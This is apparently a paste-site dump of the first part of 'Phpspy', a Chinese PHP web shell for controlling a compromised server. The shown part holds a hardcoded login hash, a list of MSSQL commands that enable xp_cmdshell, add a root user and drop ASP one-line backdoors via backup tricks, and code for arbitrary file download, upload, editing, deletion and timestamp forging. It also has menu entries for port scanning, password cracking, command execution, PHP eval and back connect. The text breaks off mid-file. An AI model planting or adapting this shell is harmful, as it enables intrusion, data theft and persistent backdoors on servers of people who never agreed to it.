· 9 years ago · May 19, 2017, 02:28 PM
1<?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
8define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
9define('IS_COM', class_exists('COM') ? 1 : 0 );
10define('IS_GPC', get_magic_quotes_gpc());
11$dis_func = get_cfg_var('disable_functions');
12define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
13@set_time_limit(0);
14
15foreach(array('_GET','_POST') as $_request) {
16 foreach($$_request as $_key => $_value) {
17 if ($_key{0} != '_') {
18 if (IS_GPC) {
19 $_value = s_array($_value);
20 }
21 $$_key = $_value;
22 }
23 }
24}
25$admin = array();
26// 是å¦éœ€è¦å¯†ç 验è¯, true 为需è¦éªŒè¯, false 为直接进入.下é¢é€‰é¡¹åˆ™æ— 效
27$admin['check'] = true;
28// 如果需è¦å¯†ç 验è¯,请修改登陆密ç
29$admin['pass'] = '8f11294a9c27de6c37b4e9'; //angel
30
31//如您对 cookie ä½œç”¨èŒƒå›´æœ‰ç‰¹æ®Šè¦æ±‚, æˆ–ç™»å½•ä¸æ£å¸¸, 请修改下é¢å˜é‡, å¦åˆ™è¯·ä¿æŒé»˜è®¤
32// cookie å‰ç¼€
33$admin['cookiepre'] = '';
34// cookie 作用域
35$admin['cookiedomain'] = '';
36// cookie 作用路径
37$admin['cookiepath'] = '/';
38// cookie 有效期
39$admin['cookielife'] = 86400;
40
41$admin['port'] = '21,22,23,25,53,80,110,143,139,443,1080,1433,1723,3306,3389,4899,5432,5631,5900,6000,7000,8000,8080,43958';
42
43//ç¨‹åºæœç´¢å¯å†™æ–‡ä»¶çš„类型
44!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp';
45
46$charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8');
47if ($charset == 'utf8') {
48 header("content-Type: text/html; charset=utf-8");
49} elseif ($charset == 'big5') {
50 header("content-Type: text/html; charset=big5");
51} elseif ($charset == 'gbk') {
52 header("content-Type: text/html; charset=gbk");
53} elseif ($charset == 'latin1') {
54 header("content-Type: text/html; charset=iso-8859-2");
55} elseif ($charset == 'euckr') {
56 header("content-Type: text/html; charset=euc-kr");
57} elseif ($charset == 'eucjpms') {
58 header("content-Type: text/html; charset=euc-jp");
59}
60$sqlcmd = array(
61 '-- SQL Server Exec --',
62 'Use master dbcc addextendedproc(\'xp_cmdshell\',\'xplog70.dll\')' => 'Add xp_cmdshell',
63 'Use master dbcc addextendedproc(\'sp_OACreate\',\'odsole70.dll\')' => 'Add sp_oacreate',
64 'Exec sp_configure \'show advanced options\',1;RECONFIGURE;EXEC sp_configure \'xp_cmdshell\',1;RECONFIGURE;' => 'Add xp_cmdshell(SQL2005)',
65 'Exec sp_configure \'show advanced options\',1;RECONFIGURE;exec sp_configure \'Ole Automation Procedures\',1;RECONFIGURE;' => 'Add sp_oacreate(SQL2005)',
66 'Exec sp_configure \'show advanced options\',1;RECONFIGURE;exec sp_configure \'Web Assistant Procedures\',1;RECONFIGURE;' => 'Add makewebtask(SQL2005)',
67 'Exec sp_configure \'show advanced options\',1;RECONFIGURE;exec sp_configure \'Ad Hoc Distributed Queries\',1;RECONFIGURE;' => 'Add openrowset/opendatasource(SQL2005)',
68 'Exec master.dbo.xp_cmdshell \'net user\'' => 'XP_cmdshell exec',
69 'EXEC MASTER..XP_dirtree \'c:\\\',1,1' => 'XP_dirtree',
70 'Declare @s int;exec sp_oacreate \'wscript.shell\',@s out;Exec SP_OAMethod @s,\'run\',NULL,\'cmd.exe /c echo ^<%execute(request(char(35)))%^>>c:\bin.asp\';' => 'SP_oamethod exec',
71 'sp_makewebtask @outputfile=\'c:\bin.asp\',@charset=gb2312,@query=\'select \'\'<%execute(request(chr(35)))%>\'\'\'' => 'SP_makewebtask make file',
72 'exec master..xp_regwrite \'HKEY_LOCAL_MACHINE\',\'SOFTWARE\Microsoft\Jet\4.0\Engines\',\'SandBoxMode\',\'REG_DWORD\',1;select * from openrowset(\'microsoft.jet.oledb.4.0\',\';database=c:\windows\system32\ias\ias.mdb\',\'select shell("cmd.exe /c net user root root/add ")\')' => 'SandBox',
73 'create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values(\'<%execute(request(chr(35)))%>\');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t=\'e:\1.asp\' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];' => 'LogBackup',
74 'create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values(\'<%execute(request(chr(35)))%>\');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t=\'c:\bin.asp\' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];' => 'DatabaseBackup'
75);
76$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
77$timestamp = time();
78
79/*===================== èº«ä»½éªŒè¯ =====================*/
80if ($action == "logout") {
81 scookie('loginpass', '', -86400 * 365);
82 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
83 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
84 exit;
85}
86if($admin['check']) {
87 if ($doing == 'login') {
88 if ($admin['pass'] == substr(md5($password),10)) {
89 scookie('loginpass', substr(md5($password),10));
90 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
91 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
92 exit;
93 }
94 }
95 if ($_COOKIE['loginpass']) {
96 if ($_COOKIE['loginpass'] != $admin['pass']) {
97 loginpage();
98 }
99 } else {
100 loginpage();
101 }
102}
103/*===================== 验è¯ç»“æŸ =====================*/
104
105$errmsg = '';
106
107// 查看PHPINFO
108if ($action == 'phpinfo') {
109 if (IS_PHPINFO) {
110 phpinfo();
111 exit;
112 } else {
113 $errmsg = 'phpinfo() function has non-permissible';
114 }
115}
116
117// 下载文件
118if ($doing == 'downfile' && $thefile) {
119 if (!@file_exists($thefile)) {
120 $errmsg = 'The file you want Downloadable was nonexistent';
121 } else {
122 $fileinfo = pathinfo($thefile);
123 header('Content-type: application/x-'.$fileinfo['extension']);
124 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
125 header('Content-Length: '.filesize($thefile));
126 @readfile($thefile);
127 exit;
128 }
129}
130// 直接下载备份数æ®åº“
131if ($doing == 'backupmysql' && !$saveasfile) {
132 if (!$table) {
133 $errmsg ='Please choose the table';
134 } else {
135 mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
136 $filename = basename(str_replace('.', '_', $_SERVER['HTTP_HOST']).'_'.$dbname.'_'.date("YmdHi",time()).'.sql');
137 header('Content-type: application/unknown');
138 header('Content-Disposition: attachment; filename='.$filename);
139 foreach($table as $k => $v) {
140 if ($v) {
141 sqldumptable($v);
142 }
143 }
144 mysql_close();
145 exit;
146 }
147}
148
149// 通过MYSQL下载文件
150if($doing=='mysqldown'){
151 if (!$dbname) {
152 $errmsg = 'Please input dbname';
153 } else {
154 mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
155 if (!file_exists($mysqldlfile)) {
156 $errmsg = 'The file you want Downloadable was nonexistent';
157 } else {
158 $result = q("select load_file('$mysqldlfile');");
159 if(!$result){
160 q("DROP TABLE IF EXISTS tmp_angel;");
161 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
162 //用时间戳æ¥è¡¨ç¤ºæˆªæ–,é¿å…出现读å–自身或包å«__angel_1111111111_eof__的文件时ä¸å®Œæ•´çš„æƒ…况
163 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
164 $result = q("select content from tmp_angel");
165 q("DROP TABLE tmp_angel");
166 }
167 $row = @mysql_fetch_array($result);
168 if (!$row) {
169 $errmsg = 'Load file failed '.mysql_error();
170 } else {
171 $fileinfo = pathinfo($mysqldlfile);
172 header('Content-type: application/x-'.$fileinfo['extension']);
173 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
174 header("Accept-Length: ".strlen($row[0]));
175 echo $row[0];
176 exit;
177 }
178 }
179 }
180}
181
182?>
183<html>
184<head>
185<meta http-equiv="Content-Type" content="text/html; charset=gbk">
186<title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title>
187<style type="text/css">
188
189body,td{font: 12px Arial,Tahoma;line-height: 16px;}
190.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
191.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
192.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
193a {color: #00f;text-decoration:underline;}
194a:hover{color: #f00;text-decoration:none;}
195.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}
196.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}
197.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;}
198.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}
199.top td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#C0BBB4;padding:5px 15px 5px 5px;font-weight:bold;}
200.infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;}
201.head td span{font-weight:normal;}
202form{margin:0;padding:0;}
203h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
204ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
205u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
206.redfont {COLOR: "#f00";}
207</style>
208<?php
209function view_dir($directory){
210 $handle=opendir($directory);
211
212 while ($file=readdir($handle)){
213 $bdir=$directory . '/' . $file;
214
215 if ($file <> '.' && $file <> '..'){
216 if (is_dir($directory . $file))
217 echo "<font face=\"Wingdings 3\" size=\"4\">u</font> : <input class='input' type='text' value='"
218 . $directory . $file . "' name='fn1' id='fn1' size=80><br>";
219 else
220 echo "<font face=\"Wingdings 3\" size=\"4\">a</font> : <input class='input' type='text' value='"
221 . $directory . $file . "' name='fn2' id='fn2' size=80><br>";
222 }
223 }
224
225 closedir($handle);
226}
227
228if ($mlist){
229 if (is_dir(trim($upfile)))
230 view_dir(trim($upfile));
231 else
232 echo "Not Dir!";
233 exit;
234}
235?>
236<script type="text/javascript">
237function CheckAll(form) {
238 for(var i=0;i<form.elements.length;i++) {
239 var e = form.elements[i];
240 if (e.name != 'chkall')
241 e.checked = form.chkall.checked;
242 }
243}
244function $(id) {
245 return document.getElementById(id);
246}
247function goaction(act,m){
248 if (m && !confirm(m)) {
249 return;
250 }
251 $('goaction').action.value=act;
252 $('goaction').submit();
253}
254function createdir(){
255 var newdirname;
256 newdirname = prompt('Please input the directory name:', '');
257 if (!newdirname) return;
258 $('createdir').newdirname.value=newdirname;
259 $('createdir').submit();
260}
261function fileperm(pfile){
262 var newperm;
263 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
264 if (!newperm) return;
265 $('fileperm').newperm.value=newperm;
266 $('fileperm').pfile.value=pfile;
267 $('fileperm').submit();
268}
269function copyfile(sname){
270 var tofile;
271 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
272 if (!tofile) return;
273 $('copyfile').tofile.value=tofile;
274 $('copyfile').sname.value=sname;
275 $('copyfile').submit();
276}
277function rename(oldname){
278 var newfilename;
279 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
280 if (!newfilename) return;
281 $('rename').newfilename.value=newfilename;
282 $('rename').oldname.value=oldname;
283 $('rename').submit();
284}
285function dofile(doing,thefile,m){
286 if (m && !confirm(m)) {
287 return;
288 }
289 $('filelist').doing.value=doing;
290 if (thefile){
291 $('filelist').thefile.value=thefile;
292 }
293 $('filelist').submit();
294}
295function createfile(nowpath){
296 var filename;
297 filename = prompt('Please input the file name:', '');
298 if (!filename) return;
299 opfile('editfile',nowpath + filename,nowpath);
300}
301function opfile(action,opfile,dir){
302 $('fileopform').action.value=action;
303 $('fileopform').opfile.value=opfile;
304 $('fileopform').dir.value=dir;
305 $('fileopform').submit();
306}
307function getinfo(action,filepath){
308 $('getinfo').action.value=action;
309 $('getinfo').filepath.value=filepath;
310 $('getinfo').submit();
311}
312function godir(dir,view_writable){
313 if (view_writable) {
314 $('godir').view_writable.value=view_writable;
315 }
316 $('godir').dir.value=dir;
317 $('godir').submit();
318}
319function getsize(getdir,dir){
320 $('getsize').getdir.value=getdir;
321 $('getsize').dir.value=dir;
322 $('getsize').submit();
323}
324function editrecord(action, base64, tablename){
325 if (action == 'del') {
326 if (!confirm('Is or isn\'t deletion record?')) return;
327 }
328 $('recordlist').doing.value=action;
329 $('recordlist').base64.value=base64;
330 $('recordlist').tablename.value=tablename;
331 $('recordlist').submit();
332}
333function moddbname(dbname) {
334 if(!dbname) return;
335 $('setdbname').dbname.value=dbname;
336 $('setdbname').submit();
337}
338function settable(tablename,doing,page) {
339 if(!tablename) return;
340 if (doing) {
341 $('settable').doing.value=doing;
342 }
343 if (page) {
344 $('settable').page.value=page;
345 }
346 $('settable').tablename.value=tablename;
347 $('settable').submit();
348}
349function mssqlinfo(dbname) {
350 if(!dbname) return;
351 $('mssqlinfo').dbname.value=dbname;
352 $('mssqlinfo').submit();
353}
354function onchangesel()
355{
356 var msg = document.all("sqlcmd").value;
357 document.all("sql_query").value=msg;
358}
359function ftpgodir(ftpdir)
360{
361var k = 0000000;
362
363if (ftpdir.indexOf('updir') != -1)
364 k = 1;
365
366if (ftpdir.indexOf('setdir') != -1)
367 k = 2;
368
369switch (k)
370 {
371 case 1:
372 {
373 var updir = $('ftpdir').value;
374 updir = updir.substring(0, updir.length - 1);
375 var ndir = updir.split("/");
376 var ddir = "";
377
378 for (var i = 0; i < ndir.length - 1; i++)
379 {
380 if (ndir[i].length == 0)
381 continue;
382 ddir = ddir + (ndir[i] + "/");
383 }
384 $('ftpdir').value = '/' + ddir;
385 $('ftp2').submit();
386 break;
387 }
388
389 case 2:
390 {
391 $('ftpdir').value = $('cdir').value;
392 $('ftp2').submit();
393 break;
394 }
395
396 default:
397 {
398 var n2dir = $('cdir').value + '/' + ftpdir;
399 n2dir = n2dir.split("/");
400 var d2dir = "";
401
402 for (var i = 0; i < n2dir.length; i++)
403 {
404 if (n2dir[i].length == 0)
405 continue;
406 d2dir = d2dir + (n2dir[i] + "/");
407 }
408 $('ftpdir').value = '/' + d2dir;
409 $('ftp2').submit();
410 break;
411 }
412 }
413}
414function ftpmdir(){
415 $('ftpmkdir2').value = $('ftpmkdir').value;
416 $('ftp2').submit();
417}
418function delfolder(dir, m){
419 if (m && !confirm(m))
420 {
421 return;
422 }
423 $('delfolder').value = dir;
424 $('ftp2').submit();
425}
426function ftprename(oldname){
427 var newfilename;
428 $('renamedirold').value = oldname;
429 newfilename = prompt('Former folder name:' + oldname + '\nPlease input new folder name :',
430 '' + oldname + '');
431
432 if (!newfilename)
433 return;
434 $('renamedirnew').value = newfilename;
435 $('ftp2').submit();
436}
437function chmodd(file, chmod1){
438 chmod1 = prompt('Chmod:' + file + '\nPlease input new chmod:', '777');
439
440 if (!chmod1)
441 return;
442
443 $('chmod').value = chmod1;
444 $('chmoddir').value = file;
445 $('ftp2').submit();
446}
447function delfile(dir, m){
448 if (m && !confirm(m))
449 {
450 return;
451 }
452 $('delfile').value = dir;
453 $('ftp2').submit();
454}
455function downf(oldname){
456 var newfilename;
457 $('downfile').value = oldname;
458 newfilename = prompt('Former file name:' + oldname + '\nFile Download To :',
459 '<?php echo str_replace('\\','/',dirname(__FILE__));?>/' + oldname + '');
460
461 if (!newfilename)
462 return;
463 $('downto').value = newfilename;
464 $('ftp2').submit();
465}
466function upf(){
467 var up = $('upfile').value;
468 $('upfile2').value = up;
469 $('ftp2').submit();
470}
471function editf(file){
472 $('editfile3').value = file;
473 $('formp').submit();
474}
475function ftpfput(){
476$('ftp3').submit();
477}
478</script>
479</head>
480<body style="margin:0;table-layout:fixed; word-break:break-all">
481<table width="100%" border="0" cellpadding="0" cellspacing="0">
482 <tr class="top">
483 <td><span style="float:right;"><?php echo @php_uname();?> / User:<?php echo $uid.' ( '.$user.' ) / Group: '.$gid.' ( '.$group.' )';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
484
485 </tr>
486 <tr class="alt1">
487 <td>
488 <span style="float:right;">PHP <?php echo PHP_VERSION;?> / Safe Mode:<?php echo getcfg('safe_mode');?></span>
489 <a href="javascript:goaction('logout');">Logout</a> |
490 <a href="javascript:goaction('file');">File Manager</a> |
491 <a href="javascript:goaction('mysqladmin');">MYSQL Manager</a> |
492 <a href="javascript:goaction('mssqladmin');">MSSQL Manager</a> |
493 <a href="javascript:goaction('sqlfile');">MySQL Up & Down</a> |
494 <a href="javascript:goaction('ftpcilent');">FTP Cilent</a> |
495 <a href="javascript:goaction('portscan');">Port Scanner</a> |
496 <a href="javascript:goaction('pwdcrack');">Password Cracker</a> |
497 <a href="javascript:goaction('shell');">Execute</a> |
498 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
499 <a href="javascript:goaction('eval');">Eval PHP</a>
500 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('secinfo');">Security information</a>
501 | <a href="javascript:goaction('backconnect');">Back Connect</a>
502 <?php }?>
503 </td>
504 </tr>
505</table>
506<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
507<?php
508
509formhead(array('name'=>'goaction'));
510makehide('action');
511formfoot();
512
513$errmsg && m($errmsg);
514
515
516// 获å–当å‰è·¯å¾„
517if (!$dir) {
518 $dir = $_SERVER["DOCUMENT_ROOT"] ? $_SERVER["DOCUMENT_ROOT"] : '.';
519}
520//è‡ªåˆ é™¤
521if ($action == 'killme') {
522 m(@unlink(basename(__FILE__)) ? 'Delete Phpspy Success!' : 'Delete Phpspy Failure!');
523 exit;
524}
525$nowpath = getPath(SA_ROOT, $dir);
526if (substr($dir, -1) != '/') {
527 $dir = $dir.'/';
528}
529$uedir = ue($dir);
530
531if (!$action || $action == 'file') {
532
533 // 判æ–读写情况
534 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
535
536 // åˆ é™¤ç›®å½•
537 if ($doing == 'deldir' && $thefile) {
538 if (!file_exists($thefile)) {
539 m($thefile.' directory does not exist');
540 } else {
541 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
542 }
543 }
544
545 // 创建目录
546 elseif ($newdirname) {
547 $mkdirs = $nowpath.$newdirname;
548 if (file_exists($mkdirs)) {
549 m('Directory has already existed');
550 } else {
551 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
552 @chmod($mkdirs,0777);
553 }
554 }
555
556 // ä¸Šä¼ æ–‡ä»¶
557 elseif ($doupfile) {
558 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
559 }
560
561 // 编辑文件
562 elseif ($editfilename && $filecontent) {
563 $fp = @fopen($editfilename,'w');
564 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
565 @fclose($fp);
566 }
567
568 // 编辑文件属性
569 elseif ($pfile && $newperm) {
570 if (!file_exists($pfile)) {
571 m('The original file does not exist');
572 } else {
573 $newperm = base_convert($newperm,8,10);
574 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
575 }
576 }
577
578 // 改å
579 elseif ($oldname && $newfilename) {
580 $nname = $nowpath.$newfilename;
581 if (file_exists($nname) || !file_exists($oldname)) {
582 m($nname.' has already existed or original file does not exist');
583 } else {
584 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
585 }
586 }
587
588 // å¤åˆ¶æ–‡ä»¶
589 elseif ($sname && $tofile) {
590 if (file_exists($tofile) || !file_exists($sname)) {
591 m('The goal file has already existed or original file does not exist');
592 } else {
593 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
594 }
595 }
596
597 // 克隆时间
598 elseif ($curfile && $tarfile) {
599 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
600 m('The goal file has already existed or original file does not exist');
601 } else {
602 $time = @filemtime($tarfile);
603 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
604 }
605 }
606
607 // 自定义时间
608 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
609 if (!@file_exists($curfile)) {
610 m(basename($curfile).' does not exist');
611 } else {
612 $time = strtotime("$year-$month-$day $hour:$minute:$second");
613 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
614 }
615 }
616
617 // 打包下载
618 elseif($doing == 'downrar') {
619 if($dl) {
620 $recurse = 1;
621 if($exclude != '') {
622 $exclude = explode(';', $exclude);
623 }
624 $dls = array();
625 foreach($dl as $val) {
626 $is_dir = @is_dir($val);
627 if($recurse == 1) {
628 if($is_dir) $val .= '/*.*';
629 } else {
630 if($is_dir) continue;
631 }
632 $dls[] = substr($val, strlen($nowpath), strlen($val));
633 }
634 if($savefile) {
635 $zipfile = new zip_file($zip_file);
636 $zipfile->set_options(
637 array(
638 'basedir' => $nowpath,
639 'inmemory' => 0,
640 'overwrite' => 1,
641 'level' => 1,
642 'recurse' => $recurse
643 ));
644 $zipfile->add_files($dls);
645 if(strstr($zip_file, $nowpath)) {
646 $exclude[] = substr($zip_file, strlen($nowpath), strlen($zip_file));
647 }
648 if(count($exclude) > 0) {
649 $zipfile->exclude_files($exclude);
650 }
651
652 $zipfile->create_archive();
653
654 if (count($test->errors) > 0)
655 print_r($test->errors);
656 else
657 m($zip_file.' => Done!');
658 } else {
659 $zipfile = new zip_file("./".str_replace('.', '_', $_SERVER['HTTP_HOST']).'_'.date("YmdHi",time()).".zip");
660 $zipfile->set_options(
661 array(
662 'basedir' => $nowpath,
663 'inmemory' => 1,
664 'overwrite' => 1,
665 'level' => 1,
666 'recurse' => $recurse
667 ));
668 $zipfile->add_files($dls);
669 if(count($exclude) > 0) {
670 $zipfile->exclude_files($exclude);
671 }
672 $zipfile->create_archive();
673 $zipfile->download_file();
674 exit;
675 }
676 } else {
677 m('Please select file(s)');
678 }
679 }
680
681 // 批é‡åˆ 除文件
682 elseif($doing == 'delfiles') {
683 if ($dl) {
684 $dfiles='';
685 $succ = $fail = 0;
686 foreach ($dl as $filepath) {
687 if (is_dir($filepath)){
688 if (!file_exists($filepath)) {
689 $fail++;
690 } else {
691 if (@deltree($filepath)){
692 $succ++;
693 }
694 }
695 }else{
696 if (@unlink($filepath)) {
697 $succ++;
698 } else {
699 $fail++;
700 }
701 }
702 }
703 m('Deleted folder/file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
704 } else {
705 m('Please select folder/file(s)');
706 }
707 }
708
709 //æ“作完毕
710 formhead(array('name'=>'createdir'));
711 makehide('newdirname');
712 makehide('dir',$nowpath);
713 formfoot();
714 formhead(array('name'=>'fileperm'));
715 makehide('newperm');
716 makehide('pfile');
717 makehide('dir',$nowpath);
718 formfoot();
719 formhead(array('name'=>'copyfile'));
720 makehide('sname');
721 makehide('tofile');
722 makehide('dir',$nowpath);
723 formfoot();
724 formhead(array('name'=>'rename'));
725 makehide('oldname');
726 makehide('newfilename');
727 makehide('dir',$nowpath);
728 formfoot();
729 formhead(array('name'=>'fileopform', 'target'=>'_blank'));
730 makehide('action');
731 makehide('opfile');
732 makehide('dir');
733 formfoot();
734 formhead(array('name'=>'getsize'));
735 makehide('getdir');
736 makehide('dir');
737 formfoot();
738 formhead(array('name'=>'getinfo'));
739 makehide('action');
740 makehide('filepath');
741 formfoot();
742 $free = @disk_free_space($nowpath);
743 !$free && $free = 0;
744 $all = @disk_total_space($nowpath);
745 !$all && $all = 0;
746 $used = $all-$free;
747 $used_percent = @round(100/($all/$free),2);
748 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
749
750?>
751<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
752 <form action="" method="post" id="godir" name="godir">
753 <tr>
754 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
755 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:99%;margin:0 8px;"></td>
756 <td nowrap><input class="bt" value="GO" type="submit"></td>
757 </tr>
758 </form>
759</table>
760 <?php
761 $findstr = $_POST['findstr'];
762 $re = $_POST['re'];
763 tbhead();
764 p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');
765 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div></form>');
766 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
767 p(' | <a href="javascript:godir(\'.\');">ScriptPath</a>');
768 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
769 p(' | View Writable ( <a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directory</a>');
770 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">File</a> )');
771 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
772 if (IS_WIN && IS_COM) {
773 $obj = new COM('scripting.filesystemobject');
774 if ($obj && is_object($obj) && $obj->Drives) {
775 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
776 foreach($obj->Drives as $drive) {
777 if ($drive->Path) {
778 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
779 }
780 }
781 }
782 }
783 if (IS_WIN){//常用路径
784 p('<br>');
785 $windir = $_ENV["SystemRoot"];
786 p('<a href="javascript:godir(\''.str_replace('\\','/',$_ENV["ProgramFiles"]).'\');">Program Root</a>');
787 p(' | <a href="javascript:godir(\''.str_replace('\\','/',$_ENV["ALLUSERSPROFILE"]).'\');">All User Root</a>');
788 p(' | <a href="javascript:godir(\''.str_replace('\\','/',$windir).'\');">Windows Root</a>');
789 p(' | <a href="javascript:godir(\''.str_replace('\\','/',$windir).'/System32\');">System32 Root</a>');
790 p(' | <a href="javascript:godir(\''.str_replace('\\','/',$windir).'/System32/Logfiles\');">Logs Root</a>');
791 if (strpos($_SERVER["PATH"],'pcAnywhere')){
792 p(' | <a href="javascript:godir(\''.str_replace('\\','/',$_ENV["ALLUSERSPROFILE"]).'/Application Data/Symantec/pcAnywhere\');">pcAnywhere</a>');
793 }
794 p(' | <a href="javascript:opfile(\'editfile\',\''.str_replace('\\','/',$windir).'/System32/AUTOEXEC.NT\');">Edit AutoFile</a>');
795 p(' | <a href="javascript:opfile(\'editfile\',\''.str_replace('\\','/',$windir).'/win.ini\');">Edit Win.ini</a>');
796 p(' | <a href="javascript:opfile(\'editfile\',\''.str_replace('\\','/',$windir).'/system.ini\');">Edit System.ini</a>');
797 if (@file_exists($windir.'/my.ini')){
798 p(' | <a href="javascript:opfile(\'editfile\',\''.str_replace('\\','/',$windir).'/my.ini\');">Edit my.ini</a>');
799 }
800
801 }else{
802 if (@file_exists('/etc/my.conf')){
803 p(' | <a href="javascript:opfile(\'editfile\',\'/etc/my.conf\');">Edit my.conf</a>');
804 }else if(@file_exists('/etc/my.cnf')){
805 p(' | <a href="javascript:opfile(\'editfile\',\'/etc/my.cnf\');">Edit my.conf</a>');
806 }
807 }
808 p(' | <a href="javascript:opfile(\'editfile\',\''.str_replace('\\','/',@get_cfg_var('cfg_file_path')).'\');">Edit PHP.ini</a>');
809 ob_start();
810 phpinfo();
811 $string = ob_get_contents();
812 ob_end_clean();
813 preg_match_all('#Server Root </td><td class="v">(.*?) </td></tr>#', $string, $serverroot, PREG_SET_ORDER);
814 if (@file_exists($serverroot[0][1].'/conf/httpd.conf')){
815 p(' | <a href="javascript:opfile(\'editfile\',\''.str_replace('\\','/',$serverroot[0][1]).'/conf/httpd.conf\');">Edit httpd.conf</a>');
816 }
817 p(' | <a style="color:Red" href="javascript:goaction(\'killme\',\'Are you sure delete phpspy?\');">Kill Me</a>');
818
